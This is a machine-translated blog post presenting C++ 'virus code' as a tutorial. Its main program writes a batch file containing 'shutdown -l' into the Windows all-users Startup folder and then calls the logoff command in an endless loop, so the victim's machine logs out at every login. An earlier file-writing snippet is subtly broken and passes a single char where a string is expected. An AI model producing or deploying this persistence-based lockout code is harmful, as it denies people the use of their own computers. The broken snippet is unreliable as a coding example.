C++ - super virus code

insert image description here

Precautions

This is the eighth part of my c++ column, which is currentlymost most most dangerousAn article, far more than C + + to delete users in the C drive (virus code, extremely dangerous) . so,Please prepare in advance, get a PE in the U disk, or make a system that restores after booting, to test! !

  • Otherwise, the author is not responsible for any problems with your computer .

technology used

Include content creation files to the specified location

The technique used by the virus program in this article is: create a file containing content to a specified location.

#include <bits/stdc++.h>
using namespace std;
char data,filename[] = "C://1234.txt";	//地址+文件名 
										//此处的斜杠需要在复制过来的基础上倒着,否则编译不过 
int main() {
    
    
	FILE* fptr;
	printf("请输入要写入的数据:");
	scanf("%s", data);

	fptr = fopen(filename, "w"); // 打开文件

	fprintf(fptr, "%s", data); // 将数据写入文件
	fclose(fptr); // 关闭文件

	printf("数据已成功写入文件。");

	return 0;
}

Basic usage of shutdown

For the basic usage of shutdown, you can read this article:
Basic usage of shutdown

virus ideas

In this case, we can create a bat file to the boot self-starting item of Windows, then the content of the bat can be defined by ourselves, such as logout, shutdown, etc. In this way, it can be turned off when it is turned on or logged off after it is turned on (the startup here includes re-opening after logging out)

virus code

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main() {
    
    
	char data[1000];
	FILE* fptr;
	char filename[] = "C://ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/死亡吧~~~.bat";
	data[0]='s';
	data[1]='h';
	data[2]='u';
	data[3]='t';
	data[4]='d';
	data[5]='o';
	data[6]='w';
	data[7]='n';
	data[8]=' ';
	data[9]='-';
	data[10]='l';	//此处为开机就注销
	fptr = fopen(filename, "w");
	fprintf(fptr, "%s", data);
	fclose(fptr);
	while (1)
		system ("shutdown -l");  //循环注销,尽量保证可以注销成功
	return 0;
}

Guess you like

Origin blog.csdn.net/DUXS11/article/details/132121414